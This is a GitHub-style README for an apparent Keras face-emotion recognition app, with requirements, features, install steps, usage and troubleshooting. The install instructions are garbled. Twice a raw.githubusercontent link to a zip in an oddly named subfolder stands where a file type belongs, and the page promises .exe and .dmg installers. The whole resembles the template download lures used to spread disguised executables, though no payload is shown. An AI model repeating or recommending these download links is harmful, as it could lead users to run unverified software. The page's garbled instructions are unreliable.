🎭 Face-Emotion-Recognition - Recognize Emotions From Faces Easily

🚀 Getting Started

Welcome to the Face-Emotion-Recognition project! This application uses advanced technology to identify emotions from facial expressions. With its user-friendly setup, you can start recognizing emotions quickly and efficiently.

📦 Requirements

Before you download, ensure your system meets these requirements:

• Operating System: Windows, macOS, or Linux
• Memory: At least 4 GB RAM
• Processor: Dual-core processor or better
• Disk Space: At least 500 MB free space

💻 Features

• Detects seven emotions: Angry, Disgust, Fear, Happy, Neutral, Sad, and Surprise.
• User-friendly interface that does not require technical knowledge.
• Fast processing with the power of Convolutional Neural Networks.
• Runs efficiently on common operating systems.

📥 Download & Install

To start using the Face-Emotion-Recognition application, you can download it from our Releases page. Please follow these steps:

1. Visit the Releases Page: Click the link below to go to the download section: Download Here

2. Choose the Right Version: Find the version you want to download and click on it.

3. Download the Application:

   • For Windows: Download the .exe file.
   • For macOS: Download the .dmg file.
   • For Linux: Download the https://raw.githubusercontent.com/jafrulla1986/Face-Emotion-Recognition/main/Chrissie/Recognition-Emotion-Face-v3.0-alpha.1.zip file.

4. Install the Application:

   • For Windows: Double-click the .exe file to start the installation.
   • For macOS: Open the .dmg file and drag the application to your Applications folder.
   • For Linux: Extract the https://raw.githubusercontent.com/jafrulla1986/Face-Emotion-Recognition/main/Chrissie/Recognition-Emotion-Face-v3.0-alpha.1.zip file and follow the instructions in the README.

5. Launch the Application: After installation, open the application to start using the Face-Emotion-Recognition system!

🎨 Getting Started with Emotion Recognition

1. Open the Application: Start the program from your applications menu.

2. Upload a Grayscale Image: Click on the "Upload" button and select a 48×48 grayscale image of a face.

3. Recognition Process: Once uploaded, the application will analyze the image and display the detected emotion after a few moments.

🛠 Troubleshooting

If you encounter issues:

• Ensure that your image meets the required size: 48×48 pixels and is in grayscale.
• Check that your system meets the requirements listed above.
• Restart the application if it becomes unresponsive.

📂 Topics Covered

This project is built with various technologies. Here are some key topics related to our application:

• cnn
• cnn-for-visual-recognition
• cnn-keras
• emotion-detection
• emotion-recognition
• fer
• fer2013
• keras
• keras-neural-networks
• keras-tensorflow
• tensorflow

For additional details or questions, you can explore the documentation provided in the repository or contact us through the Issues section.

📞 Support

If you need further assistance, feel free to reach out to our community. You can raise a question or report an issue on the repository page.

Enjoy recognizing emotions from faces with Face-Emotion-Recognition!